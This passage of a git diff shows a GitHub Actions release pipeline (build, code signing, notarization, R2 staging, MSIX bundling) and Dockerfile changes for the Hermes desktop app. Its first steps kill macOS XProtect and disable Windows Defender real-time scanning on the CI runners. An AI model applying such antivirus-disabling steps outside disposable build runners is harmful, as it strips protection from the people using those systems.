secrets.CLOUDFLARE_R2_SECRET_ACCESS_KEY }} + CLOUDFLARE_R2_BUCKET: ${{ vars.CLOUDFLARE_R2_BUCKET }} + CLOUDFLARE_R2_PUBLIC_URL: ${{ vars.CLOUDFLARE_R2_PUBLIC_URL }} + steps: + - name: Disable Spotlight indexing and XProtect + if: startsWith(matrix.target.label, 'darwin-') + shell: bash + run: | + sudo mdutil -a -i off || true + sudo pkill -9 XProtect >/dev/null || true + while pgrep XProtect; do sleep 3; done + + - name: Exclude build write paths from Defender scanning + if: startsWith(matrix.target.label, 'win32-') + shell: powershell + run: | + $paths = @( + $env:GITHUB_WORKSPACE, + $env:RUNNER_TEMP, + (npm config get cache) + ) + foreach ($p in $paths) { + try { + Add-MpPreference -ExclusionPath $p + Write-Host "Defender exclusion added for $p" + } catch { + Write-Host "Defender exclusion not applied for $p ($($_.Exception.Message)) - continuing" + } + } + try { + Set-MpPreference -DisableRealtimeMonitoring $true + } catch { + Write-Host "Could not disable windows defender" + } + + # Check out the SHA the validate job admitted — never the tag ref, + # which a force-push can move between jobs. This is the privileged + # (release-signing) build; it must run the reviewed bytes. + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + ref: ${{ needs.validate.outputs.sha }} + fetch-tags: true + + - name: Resolve toolchain pins from pm/lock.json + id: pins + shell: bash + # The host toolchain that BUILDS the artifact comes from the same + # pin table as the embedded runtimes (pm/lock.json), so gate == pin + # by construction in build-bundled-desktop.mjs's toolchain gates. + run: | + python -c ' + import json + pkgs = json.load(open("pm/lock.json"))["packages"] + for tool in ("node", "npm", "uv"): + print(tool + "=" + pkgs[tool]["version"]) + ' >> "$GITHUB_OUTPUT" + + - name: Resolve toolchain cache key + id: toolchain + shell: bash + run: | + node -e ' + const l = require("./package-lock.json") + const el = l.packages["apps/desktop/node_modules/electron"].version + const eb = l.packages["node_modules/electron-builder"].version + if (!el || !eb) process.exit(1) + console.log(`electron=${el}`) + console.log(`builder=${eb}`) + ' >> "$GITHUB_OUTPUT" + + - uses: actions/setup-node@v7.0.0 # immutable release. safe to pin. + with: + node-version: ${{ steps.pins.outputs.node }} + cache: npm + + - name: Install pinned npm + shell: bash + env: + NPM_PIN: ${{ steps.pins.outputs.npm }} + run: npm --version | grep -qx "$NPM_PIN" || npm i -g "npm@$NPM_PIN" + + - uses: astral-sh/setup-uv@c771a70e6277c0a99b617c7a806ffedaca235ff9 # 9.0.0 + with: + version: ${{ steps.pins.outputs.uv }} + enable-cache: false + + - name: Cache vcpkg OpenSSL (arm64) + if: matrix.target.label == 'win32-arm64' + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: C:\vcpkg\installed\arm64-windows-static-md + key: vcpkg-openssl-arm64-windows-static-md-${{ runner.os }} + + - name: Install OpenSSL (arm64) + if: matrix.target.label == 'win32-arm64' + shell: bash + run: | + if [ ! -f "/c/vcpkg/installed/arm64-windows-static-md/lib/libcrypto.lib" ]; then + "$VCPKG_INSTALLATION_ROOT/vcpkg" install openssl:arm64-windows-static-md + fi + { + printf 'OPENSSL_DIR=C:\\vcpkg\\installed\\arm64-windows-static-md\n' + printf 'OPENSSL_STATIC=1\n' + } >> "$GITHUB_ENV" + + - name: Cache pm store + # Tag-dispatched runs (every nightly) scope actions/cache under the + # dispatch ref, which GitHub mangles to refs/heads/refs/tags/ — + # a different scope per tag, so an exact key can never be restored + # by a later nightly. The content key below is stable across tags + # when pm/lock.json + uv.lock are unchanged; the restore-keys prefix + # (which ignores the tag entirely) rescues the previous nightly's + # store when the locks DID move. + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: apps/desktop/build/agent-payload/tools + key: pm-store-${{ matrix.target.label }}-${{ hashFiles('pm/lock.json', 'uv.lock') }} + restore-keys: | + pm-store-${{ matrix.target.label }}- + + - name: Resolve electron's default download cache path + shell: bash + run: | + # @electron/get does NOT honor ELECTRON_CACHE/electron_config_cache: + # the electron-builder build's electron zip download uses the + # default env-paths cache root. It must be in the actions/cache + # path list or every build re-downloads electron (~115MB). + case "$RUNNER_OS" in + Windows) echo "ELECTRON_DEFAULT_CACHE=$LOCALAPPDATA/electron/Cache" >> "$GITHUB_ENV" ;; + macOS) echo "ELECTRON_DEFAULT_CACHE=$HOME/Library/Caches/electron" >> "$GITHUB_ENV" ;; + *) echo "ELECTRON_DEFAULT_CACHE=$HOME/.cache/electron" >> "$GITHUB_ENV" ;; + esac + + - name: Cache electron + electron-builder toolchain + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: | + ${{ github.workspace }}/.cache/electron-builder + ${{ github.workspace }}/.cache/electron + ${{ env.ELECTRON_DEFAULT_CACHE }} + # eb2: bumped from eb- (2026-08-28) — the old eb- caches never + # contained the electron zip (it lives in @electron/get's default + # cache root, which wasn't in the path list), so every build + # re-downloaded electron. The new key forces a fresh save that + # includes the default cache root. + key: eb2-${{ runner.os }}-${{ runner.arch }}-electron-${{ steps.toolchain.outputs.electron }}-builder-${{ steps.toolchain.outputs.builder }} + # An electron/builder bump misses the exact key, but the previous + # dist is still mostly reusable (electron's postinstall skips the + # download when dist/ exists) — restore it and let npm ci top up. + restore-keys: | + eb2-${{ runner.os }}-${{ runner.arch }}- + + - name: Cache node_modules + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: | + node_modules + apps/*/node_modules + ui-tui/node_modules + ui-tui/packages/*/node_modules + web/node_modules + tests-js/node_modules + key: node-modules-${{ matrix.target.label }}-node${{ steps.pins.outputs.node }}-npm${{ steps.pins.outputs.npm }}-${{ hashFiles('package-lock.json') }} + # npm ci rm -rf's node_modules before installing, so a restore is + # never shipped stale — but a restore-key hit still makes the + # reinstall incremental (postinstall outputs like node-pty's + # prebuilds/ and esbuild's platform binary survive in place). + # The build-bundled install-stamp gate (lock sha + node + npm + + # target) is the real guard against stale trees shipping. + restore-keys: | + node-modules-${{ matrix.target.label }}-node${{ steps.pins.outputs.node }}-npm${{ steps.pins.outputs.npm }}- + + - name: Cache node-pty prebuilds (postinstall output, emulated-gyp tax on arm64) + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: | + node_modules/node-pty/prebuilds + node_modules/node-pty/build + key: node-pty-prebuilds-${{ matrix.target.label }}-${{ hashFiles('package-lock.json') }} + restore-keys: | + node-pty-prebuilds-${{ matrix.target.label }}- + + - name: Azure login (OIDC) + if: startsWith(matrix.target.label, 'win32-') && vars.AZURE_CLIENT_ID != '' + uses: azure/login@f5d393ae46f8fde4be8b75f32e3fc50e654ad0ca # v3.0.1 + with: + client-id: ${{ vars.AZURE_CLIENT_ID }} + tenant-id: ${{ vars.AZURE_TENANT_ID }} + allow-no-subscriptions: true + + - name: Mint federated token for the signing dlib + if: startsWith(matrix.target.label, 'win32-') && vars.AZURE_CLIENT_ID != '' + shell: bash + run: | + file="$RUNNER_TEMP/azure-federated-token" + mint() { + curl -sSf -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ + "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" \ + | jq -r .value > "$file.tmp" && mv -f "$file.tmp" "$file" + } + mint + ( while sleep 240; do mint || true; done ) & + echo "AZURE_FEDERATED_TOKEN_FILE=$file" >> "$GITHUB_ENV" + + - name: Write App Store Connect key for notarytool + if: startsWith(matrix.target.label, 'darwin-') + shell: bash + env: + APPLE_API_KEY_P8: ${{ secrets.APPLE_API_KEY_P8 }} + run: | + if [ -n "$APPLE_API_KEY_P8" ]; then + printf '%s\n' "$APPLE_API_KEY_P8" > "$RUNNER_TEMP/apple-api-key.p8" + echo "APPLE_API_KEY=$RUNNER_TEMP/apple-api-key.p8" >> "$GITHUB_ENV" + else + echo "APPLE_API_KEY_P8 secret not set — notarization will be skipped" + fi + + - name: Build and package + shell: bash + timeout-minutes: 85 + env: + PYTHONUTF8: '1' + CC_aarch64_pc_windows_msvc: ${{ matrix.target.label == 'win32-arm64' && 'clang' || '' }} + DEBUG: 'electron-osx-sign*,electron-notarize*' + APPLE_API_KEY_ID: ${{ secrets.APPLE_API_KEY_ID }} + APPLE_API_ISSUER: ${{ secrets.APPLE_API_ISSUER }} + CSC_LINK: ${{ secrets.CSC_LINK }} + CSC_KEY_PASSWORD: ${{ secrets.CSC_KEY_PASSWORD }} + AZURE_SIGN_ENDPOINT: ${{ vars.AZURE_SIGN_ENDPOINT }} + AZURE_SIGN_ACCOUNT: ${{ vars.AZURE_SIGN_ACCOUNT }} + AZURE_SIGN_PROFILE: ${{ vars.AZURE_SIGN_PROFILE }} + AZURE_SIGN_PUBLISHER: ${{ vars.AZURE_SIGN_PUBLISHER }} + AZURE_CLIENT_ID: ${{ vars.AZURE_CLIENT_ID }} + AZURE_TENANT_ID: ${{ vars.AZURE_TENANT_ID }} + AZURE_TOKEN_CREDENTIALS: prod + run: | + if [ "$RUNNER_OS" = "macOS" ]; then + ulimit -n 16384 2>/dev/null || true + echo "file descriptor limit: soft=$(ulimit -Sn) hard=$(ulimit -Hn)" + fi + node scripts/build-bundled-desktop.mjs --tag="$HERMES_PAYLOAD_TAG" --variant=bundled + # The Store-submission MSIX is the same bundled payload re-packed + # with the Partner Center packaging identity (msixbundle job uploads + # it to the tag archive; it never enters a feed dir). + if [ "$RUNNER_OS" = "Windows" ]; then + node scripts/build-bundled-desktop.mjs --tag="$HERMES_PAYLOAD_TAG" --variant=store + fi + + # Smoke the bundled payload on its native linux runner before it is + # packed into the desktop artifact: the staged interpreter boots + # hermes_cli out of the payload with no network and no PYTHONPATH. + # This is the ONE linux build+smoke place — pm-bundle.yml no longer + # stages or uploads a duplicate linux payload. + - name: Smoke test the payload + if: startsWith(matrix.target.label, 'linux-') + shell: bash + run: bash scripts/smoke-payload.sh apps/desktop/build/agent-payload + + - name: Audit bundle architecture + shell: bash + run: | + MATRIX_LABEL="${{ matrix.target.label }}" + node apps/desktop/scripts/audit-bundle-arch.mjs \ + --arch="${MATRIX_LABEL##*-}" --root=apps/desktop/release + + - name: Upload artifacts + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + # The mac feed ymls for finalize + (win32 legs) the actual .msix + + # Store-.msix binaries for the msixbundle job to bundle and stage. + # The mac/linux/AppImage binaries go straight to R2 from each leg. + name: hermes-bundled-${{ matrix.target.label }}-${{ inputs.tag }} + path: | + apps/desktop/release/*-mac.yml + apps/desktop/release/*.msix + retention-days: 30 + if-no-files-found: warn + + - name: Stage to Cloudflare R2 + if: inputs.upload_release == true + shell: bash + # Every artifact goes to releases/tag// (immutable staging). + # The finalize job (below) merges these into the win32/darwin feed + # dirs after the whole matrix is green — never from a leg, so a + # failed leg cannot publish a partial feed. + run: | + shopt -s nullglob + # Store-*.msix are archived by the dedicated loop below — exclude + # them here so they are not uploaded twice. + files=(apps/desktop/release/*.dmg apps/desktop/release/*.zip \ + apps/desktop/release/*.msix \ + apps/desktop/release/*.AppImage \ + apps/desktop/release/*.blockmap apps/desktop/release/latest*.yml \ + apps/desktop/release/nightly*.yml) + if [ ${#files[@]} -eq 0 ]; then + echo "::error::no release artifacts found"; exit 1 + fi + for f in "${files[@]}"; do + case "$f" in + */Store-*) continue ;; # archived by the Store loop below + esac + node scripts/r2-release.mjs put \ + --tag "$HERMES_PAYLOAD_TAG" --key "$(basename "$f")" --file "$f" + done + # The Store-submission MSIX (built by the win legs) goes to the tag + # archive too — hidden from the builds table and never a feed dir. + for f in apps/desktop/release/Store-*.msix; do + [ -f "$f" ] || continue + node scripts/r2-release.mjs put \ + --tag "$HERMES_PAYLOAD_TAG" --key "$(basename "$f")" --file "$f" + done + + finalize: + name: Publish feeds to R2 + needs: [validate, build] + if: inputs.upload_release == true + runs-on: ubuntu-24.04 + environment: release-signing + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + # Privileged job: pin to the SHA validate admitted, not the tag. + ref: ${{ needs.validate.outputs.sha }} + # Full checkout: r2-release.mjs imports ./msix-shared.mjs, so a + # sparse checkout of scripts/r2-release.mjs alone would die with + # ERR_MODULE_NOT_FOUND before the finalize run starts. + - name: Download staged artifacts + uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 + with: + pattern: hermes-bundled-*-${{ inputs.tag }} + path: staged + merge-multiple: true + - name: Finalize feeds + env: + HERMES_PAYLOAD_TAG: ${{ inputs.tag }} + CLOUDFLARE_R2_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_R2_ACCOUNT_ID }} + CLOUDFLARE_R2_ACCESS_KEY_ID: ${{ secrets.CLOUDFLARE_R2_ACCESS_KEY_ID }} + CLOUDFLARE_R2_SECRET_ACCESS_KEY: ${{ secrets.CLOUDFLARE_R2_SECRET_ACCESS_KEY }} + CLOUDFLARE_R2_BUCKET: ${{ vars.CLOUDFLARE_R2_BUCKET }} + run: node scripts/r2-release.mjs finalize --tag "$HERMES_PAYLOAD_TAG" --dir staged + + msixbundle: + name: Bundle the win32 MSIX feeds + needs: [validate, build] + if: inputs.upload_release == true + runs-on: windows-2025 + environment: release-signing + timeout-minutes: 45 + env: + HERMES_PAYLOAD_TAG: ${{ inputs.tag }} + ELECTRON_BUILDER_CACHE: ${{ github.workspace }}/.cache/electron-builder + CLOUDFLARE_R2_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_R2_ACCOUNT_ID }} + CLOUDFLARE_R2_ACCESS_KEY_ID: ${{ secrets.CLOUDFLARE_R2_ACCESS_KEY_ID }} + CLOUDFLARE_R2_SECRET_ACCESS_KEY: ${{ secrets.CLOUDFLARE_R2_SECRET_ACCESS_KEY }} + CLOUDFLARE_R2_BUCKET: ${{ vars.CLOUDFLARE_R2_BUCKET }} + CLOUDFLARE_R2_PUBLIC_URL: ${{ vars.CLOUDFLARE_R2_PUBLIC_URL }} + AZURE_SIGN_ENDPOINT: ${{ vars.AZURE_SIGN_ENDPOINT }} + AZURE_SIGN_ACCOUNT: ${{ vars.AZURE_SIGN_ACCOUNT }} + AZURE_SIGN_PROFILE: ${{ vars.AZURE_SIGN_PROFILE }} + AZURE_SIGN_PUBLISHER: ${{ vars.AZURE_SIGN_PUBLISHER }} + steps: + # Full checkout: stage-msixbundle.mjs imports ./msix-shared.mjs and the + # job runs it with no checkout at all today — ERR_MODULE_NOT_FOUND. + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + # Privileged job: pin to the SHA validate admitted, not the tag. + ref: ${{ needs.validate.outputs.sha }} + # stage-msixbundle derives the nightly MSIX build number as + # minutes-since-the-last-stable from git tags — must see them. + fetch-tags: true + + - name: Resolve toolchain pins from pm/lock.json + id: pins + shell: bash + run: | + python -c ' + import json + pkgs = json.load(open("pm/lock.json"))["packages"] + for tool in ("node", "npm", "uv"): + print(tool + "=" + pkgs[tool]["version"]) + ' >> "$GITHUB_OUTPUT" + + - name: Resolve toolchain cache key + id: toolchain + shell: bash + run: | + node -e ' + const l = require("./package-lock.json") + const el = l.packages["apps/desktop/node_modules/electron"].version + const eb = l.packages["node_modules/electron-builder"].version + if (!el || !eb) process.exit(1) + console.log(`electron=${el}`) + console.log(`builder=${eb}`) + ' >> "$GITHUB_OUTPUT" + + # makeappx + signtool live in the winCodeSign toolset that + # electron-builder downloads into its cache during the build legs; the + # msixbundle job runs on a fresh runner, so restore the same eb2 cache + # the win32 legs saved. The path list MUST match the build legs' + # byte-for-byte — actions/cache derives the version hash from the paths + # input, so a shorter list computes a different version and the restore + # misses ("Cache not found") even with the identical key. + - name: Resolve electron's default download cache path + shell: bash + run: | + case "$RUNNER_OS" in + Windows) echo "ELECTRON_DEFAULT_CACHE=$LOCALAPPDATA/electron/Cache" >> "$GITHUB_ENV" ;; + macOS) echo "ELECTRON_DEFAULT_CACHE=$HOME/Library/Caches/electron" >> "$GITHUB_ENV" ;; + *) echo "ELECTRON_DEFAULT_CACHE=$HOME/.cache/electron" >> "$GITHUB_ENV" ;; + esac + + - name: Cache electron + electron-builder toolchain + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: | + ${{ github.workspace }}/.cache/electron-builder + ${{ github.workspace }}/.cache/electron + ${{ env.ELECTRON_DEFAULT_CACHE }} + key: eb2-${{ runner.os }}-${{ runner.arch }}-electron-${{ steps.toolchain.outputs.electron }}-builder-${{ steps.toolchain.outputs.builder }} + restore-keys: | + eb2-${{ runner.os }}-${{ runner.arch }}- + + - name: Download win legs' MSIX + uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 + with: + pattern: hermes-bundled-win32-*-${{ inputs.tag }} + path: apps/desktop/release + merge-multiple: true + + - name: Azure login (OIDC) + uses: azure/login@f5d393ae46f8fde4be8b75f32e3fc50e654ad0ca # v3.0.1 + with: + client-id: ${{ vars.AZURE_CLIENT_ID }} + tenant-id: ${{ vars.AZURE_TENANT_ID }} + allow-no-subscriptions: true + + - name: Mint federated token for the signing dlib + shell: bash + run: | + file="$RUNNER_TEMP/azure-federated-token" + mint() { + curl -sSf -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ + "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" \ + | jq -r .value > "$file.tmp" && mv -f "$file.tmp" "$file" + } + mint + ( while sleep 240; do mint || true; done ) & + echo "AZURE_FEDERATED_TOKEN_FILE=$file" >> "$GITHUB_ENV" + + - name: Bundle + stage the MSIX feeds + shell: bash + env: + AZURE_TOKEN_CREDENTIALS: prod + AZURE_CLIENT_ID: ${{ vars.AZURE_CLIENT_ID }} + AZURE_TENANT_ID: ${{ vars.AZURE_TENANT_ID }} + run: | + # Out-of-store feed (bundled variant): universal .msixbundle + + # .appinstaller per channel; plus re-upload the Store-submission + # .msix to the tag archive (never a feed dir). + node scripts/stage-msixbundle.mjs --tag "$HERMES_PAYLOAD_TAG" --variant bundled + + builds-pending: + name: Mark the builds table as in progress + if: inputs.upload_release == true + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + - name: Render the placeholder + env: + GH_TOKEN: ${{ github.token }} + HERMES_PAYLOAD_TAG: ${{ inputs.tag }} + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: | + if ! gh release view "$HERMES_PAYLOAD_TAG" >/dev/null 2>&1; then + echo "::error::no release exists for $HERMES_PAYLOAD_TAG — cannot mark the builds table" + exit 1 + fi + python3 scripts/render-builds-table.py \ + --tag "$HERMES_PAYLOAD_TAG" --repo "$GITHUB_REPOSITORY" \ + --pending-run-url "$RUN_URL" + + builds-table: + name: Render the release builds table + needs: [validate, build, msixbundle, finalize] + if: inputs.upload_release == true + runs-on: ubuntu-24.04 + environment: release-signing + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + # Privileged job: pin to the SHA validate admitted. A bare checkout + # here would land on the dispatch branch, not the release bytes. + ref: ${{ needs.validate.outputs.sha }} + - name: Render + env: + GH_TOKEN: ${{ github.token }} + HERMES_PAYLOAD_TAG: ${{ inputs.tag }} + CLOUDFLARE_R2_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_R2_ACCOUNT_ID }} + CLOUDFLARE_R2_ACCESS_KEY_ID: ${{ secrets.CLOUDFLARE_R2_ACCESS_KEY_ID }} + CLOUDFLARE_R2_SECRET_ACCESS_KEY: ${{ secrets.CLOUDFLARE_R2_SECRET_ACCESS_KEY }} + CLOUDFLARE_R2_BUCKET: ${{ vars.CLOUDFLARE_R2_BUCKET }} + CLOUDFLARE_R2_PUBLIC_URL: ${{ vars.CLOUDFLARE_R2_PUBLIC_URL }} + run: | + if ! gh release view "$HERMES_PAYLOAD_TAG" >/dev/null 2>&1; then + echo "::error::no release exists for $HERMES_PAYLOAD_TAG — cannot render the builds table" + exit 1 + fi + python3 scripts/render-builds-table.py \ + --tag "$HERMES_PAYLOAD_TAG" --repo "$GITHUB_REPOSITORY" + + publish-nightly: + name: Publish the nightly release + needs: [build, builds-table, msixbundle, finalize] + if: | + always() + && inputs.upload_release == true + && contains(inputs.tag, '-nightly.') + && needs.build.result == 'success' + && needs.builds-table.result == 'success' + && needs.msixbundle.result == 'success' + && needs.finalize.result == 'success' + runs-on: ubuntu-24.04 + steps: + - name: Publish + env: + GH_TOKEN: ${{ github.token }} + TAG: ${{ inputs.tag }} + run: | + gh release edit "$TAG" --repo "$GITHUB_REPOSITORY" --draft=false + echo "Published $TAG" diff --git a/Dockerfile b/Dockerfile index 5dd66c8f45..141ae2bdf7 100644 --- a/Dockerfile +++ b/Dockerfile @@ -40,7 +40,6 @@ RUN apt-get -o Acquire::Retries=3 update && \ make -j"$(nproc)" && \ make install -FROM ghcr.io/astral-sh/uv:0.11.6-python3.13-trixie@sha256:b3c543b6c4f23a5f2df22866bd7857e5d304b67a564f4feab6ac22044dde719b AS uv_source # Node 26 source stage. Debian trixie's bundled nodejs is pinned to 20.x # which reached EOL in April 2026 — we copy node + npm from the upstream # node:26 image instead (Hermes pins its toolchain to Node 26 everywhere). @@ -57,9 +56,14 @@ FROM debian:13.4 ENV PYTHONUNBUFFERED=1 ENV PYTHONDONTWRITEBYTECODE=1 -# Store Playwright browsers outside the volume mount so the build-time -# install survives the /opt/data volume overlay at runtime. -ENV PLAYWRIGHT_BROWSERS_PATH=/opt/hermes/.playwright +# The pm-pinned Chromium pair lives in the managed tool store at +# /opt/hermes/tools — outside the /opt/data volume mount, so the +# build-time install survives the volume overlay at runtime. pm's +# chromium package fact exports the same value (PLAYWRIGHT_BROWSERS_PATH +# at the store root); the image ENV names the same directory so +# Playwright and the browser tool resolve the pinned build even before pm +# composes tool env. +ENV PLAYWRIGHT_BROWSERS_PATH=/opt/hermes/tools # Install system dependencies in one layer, clear APT cache. # tini was previously PID 1 to reap orphaned zombie processes (MCP stdio @@ -68,9 +72,16 @@ ENV PLAYWRIGHT_BROWSERS_PATH=/opt/hermes/.playwright # replaces tini with s6-overlay's /init (PID 1 = s6-svscan), which reaps # zombies non-blockingly on SIGCHLD and additionally supervises the main # hermes process, the dashboard, and per-profile gateways. +# The second package list is the shared libraries the pinned Chromium links +# against. `npx playwright install --with-deps` used to apt-install them as +# a side effect; pm stages the pinned browser instead (below), so the libs +# must be declared here. The list is the `ldd ... | grep "not found"` set of +# the pinned chrome binary in this base image, mapped to trixie package +# names (see .hermes/plans/termux-removal-commit-spec.md). RUN apt-get -o Acquire::Retries=3 update && \ apt-get -o Acquire::Retries=3 install -y --no-install-recommends \ - ca-certificates curl iputils-ping python3 python-is-python3 ripgrep ffmpeg gcc g++ make cmake python3-dev python3-venv libffi-dev libolm-dev libatomic1 procps git openssh-client docker-cli xz-utils && \ + ca-certificates curl iputils-ping python3 python-is-python3 ripgrep ffmpeg gcc g++ make cmake python3-dev python3-venv libffi-dev libolm-dev libatomic1 procps git openssh-client docker-cli xz-utils \ + libasound2t64 libatk-bridge2.0-0t64 libatk1.0-0t64 libatspi2.0-0t64 libcairo2 libcups2t64 libdbus-1-3 libgbm1 libglib2.0-0t64 libnspr4 libnss3 libpango-1.0-0 libx11-6 libxcb1 libxcomposite1 libxdamage1 libxext6 libxfixes3 libxkbcommon0 libxrandr2 && \ rm -rf /var/lib/apt/lists/* # Prefer the fixed SQLite over Debian's vulnerable libsqlite3.so.0. Keep the @@ -149,8 +160,6 @@ COPY --chmod=0755 docker/tini-shim.sh /usr/bin/tini # Non-root user for runtime; UID can be overridden via HERMES_UID at runtime RUN useradd -u 10000 -m -d /opt/data hermes -COPY --chmod=0755 --from=uv_source /usr/local/bin/uv /usr/local/bin/uvx /usr/local/bin/ - # Node 26: copy the node binary plus the bundled npm JS install from the # upstream image. npm and npx are recreated as symlinks because they're # symlinks in the source image (and need to live on PATH). @@ -168,9 +177,41 @@ RUN ln -sf /usr/local/lib/node_modules/npm/bin/npm-cli.js /usr/local/bin/npm && WORKDIR /opt/hermes +# ---------- Pinned toolchain from pm/lock.json (single authority) ---------- +# The image used to assemble uv from a second authority — an astral image +# tag (ghcr.io/astral-sh/uv:0.11.6-python3.13-trixie) that had already +# drifted to 0.11.6 while pm/lock.json pinned uv 0.12.3. That is exactly +# the two-authorities failure the pm design exists to end. The image is now +# a pin consumer: the stdlib-only pm provisioner reads pm/lock.json and +# stages the pinned uv + the pinned Chromium pair (sha256-verified at +# download — the same code path pm.sh/pm.ps1 and the desktop payload use) +# into the image's own runtime dir, a self-contained store baked under +# /opt/hermes, outside the /opt/data volume so it survives the overlay. +# The pinned uv is linked onto PATH so the `uv sync` / `uv pip install` +# build steps below run the lockfile's uv, not a second download. +# +# The Chromium pair is staged here rather than by `npx playwright install`, +# which fetched whatever revision the npm-resolved playwright wanted, +# unverified, and recorded no fact. The resolved browser binary path is +# baked to /etc/hermes/agent-browser-executable-path for stage2-hook.sh: +# the layout differs per arch (chrome-linux64/chrome on amd64, +# chromium-linux-arm64/chromium on arm64), so it is resolved at build time +# and never hunted at boot. +ENV HERMES_RUNTIME_DIR=/opt/hermes/tools +COPY pm/ pm/ +RUN set -eu; \ + python3 -m pm.cli install uv chromium chromium-headless-shell; \ + ln -sf /opt/hermes/tools/uv-*/uv /usr/local/bin/uv; \ + uv --version; \ + browser_bin="$(find /opt/hermes/tools/chromium-* -type f \( -name chrome -o -name chromium \) -print -quit)"; \ + test -n "$browser_bin"; \ + "$browser_bin" --version; \ + mkdir -p /etc/hermes; \ + printf '%s' "$browser_bin" > /etc/hermes/agent-browser-executable-path + # ---------- Layer-cached dependency install ---------- -# Copy only package manifests first so npm install + Playwright are cached -# unless the lockfiles themselves change. +# Copy only package manifests first so npm install is cached unless the +# lockfiles themselves change. # # ui-tui/packages/hermes-ink/ is copied IN FULL (not just its manifests) # because it is referenced as a `file:` workspace dependency from @@ -197,10 +238,6 @@ COPY apps/shared/ apps/shared/ ENV npm_config_install_links=false RUN npm install --prefer-offline --no-audit --fetch-retries=5 && \ - for i in 1 2 3; do \ - npx playwright install --with-deps chromium --only-shell && break || \ - { [ "$i" = 3 ] && exit 1; echo "playwright install failed (attempt $i); retrying in 10s"; sleep 10; }; \ - done && \ npm cache clean --force # ---------- Photon iMessage sidecar deps (baked, NS-606) ---------- @@ -236,8 +273,8 @@ RUN cd plugins/platforms/photon/sidecar && \ # plus gateway messaging adapters that should work in the published image # without a first-boot lazy install. We do NOT use `--all-extras`: # that would pull in `[rl]` (atroposlib + tinker + torch + wandb from -# git), `[yc-bench]` (another git dep), and `[termux-all]` (Android -# redundancy), none of which belong in the published container. +# git) and `[yc-bench]` (another git dep), neither of which belongs in +# the published container. # # Provider packages (anthropic, bedrock, azure-identity) are included # so Docker users can use these providers without requiring runtime @@ -311,35 +348,33 @@ RUN mkdir -p /opt/hermes/bin && \ # `s6-setuidgid hermes` in its run script. If HERMES_UID is unset, services # run as the default hermes user (UID 10000). -# ---------- Bake image provenance + build-time git revision ---------- +# ---------- Image provenance + install stamp ---------- +# CI (.github/workflows/docker.yml) runs scripts/write_install_stamp.py +# before `docker build`, so the bulk `COPY . .` above already placed a +# full-provenance /opt/hermes/install-stamp.json next to the code. +# .dockerignore excludes .git, so the stamp is the only commit channel the +# image carries: hermes_cli/version_info.py reads it at runtime (stamp +# first, live git second, unknown third), and both `hermes dump` and +# banner.get_git_banner_state() consume it through version_info. +# +# A local `docker build` without CI gets the minimal all-zero fallback +# stamp below; version_info skips the placeholder commit, so dump honestly +# reports "(unknown)". updateMechanism is `external`: the image is rebuilt +# and re-pulled, it never updates itself. +# # The versioned, non-secret provenance marker is the authoritative runtime # signal that this filesystem came from an immutable image. It deliberately # lives outside both /opt/hermes (which operators sometimes bind-mount as a -# checkout) and /opt/data (the mutable HERMES_HOME volume). -# .dockerignore excludes .git, so `git rev-parse HEAD` from inside the -# container always returns nothing — meaning `hermes dump` reports -# "(unknown)" and the startup banner drops its `· upstream ` suffix. -# That makes support triage from container bug reports impossible: -# we can't tell which commit the user is actually running. -# -# Fix: write the commit SHA passed via the HERMES_GIT_SHA build-arg to -# /opt/hermes/.hermes_build_sha at build time, and have -# hermes_cli/build_info.py read it at runtime. Both `hermes dump` and -# banner.get_git_banner_state() try the baked SHA first, then fall back -# to live `git rev-parse` for source installs (unchanged behaviour). -# -# The arg is optional — local `docker build` without --build-arg omits the -# SHA file (and records a null provenance revision), so build-info falls back -# to live-git lookup. CI -# (.github/workflows/docker.yml) passes ${{ github.sha }} so -# every published image has it. -ARG HERMES_GIT_SHA= +# checkout) and /opt/data (the mutable HERMES_HOME volume). Its `revision` +# is read from the install stamp; the fallback stamp's all-zero commit maps +# to null. RUN set -eu; \ - if [ -n "${HERMES_GIT_SHA}" ]; then \ - printf '%s\n' "${HERMES_GIT_SHA}" > /opt/hermes/.hermes_build_sha; \ + if [ ! -f /opt/hermes/install-stamp.json ]; then \ + printf '{"schemaVersion":2,"commit":"0000000000000000000000000000000000000000","distribution":"docker","source":"fallback","updateMechanism":"external"}\n' \ + > /opt/hermes/install-stamp.json; \ fi; \ mkdir -p /etc/hermes; \ - HERMES_GIT_SHA="${HERMES_GIT_SHA}" python3 -c 'import json, os, pathlib, tomllib; project = tomllib.loads(pathlib.Path("/opt/hermes/pyproject.toml").read_text(encoding="utf-8"))["project"]; marker = pathlib.Path("/etc/hermes/image-provenance.json"); marker.write_text(json.dumps({"schema": 1, "deployment_kind": "image", "manager": "docker", "image": 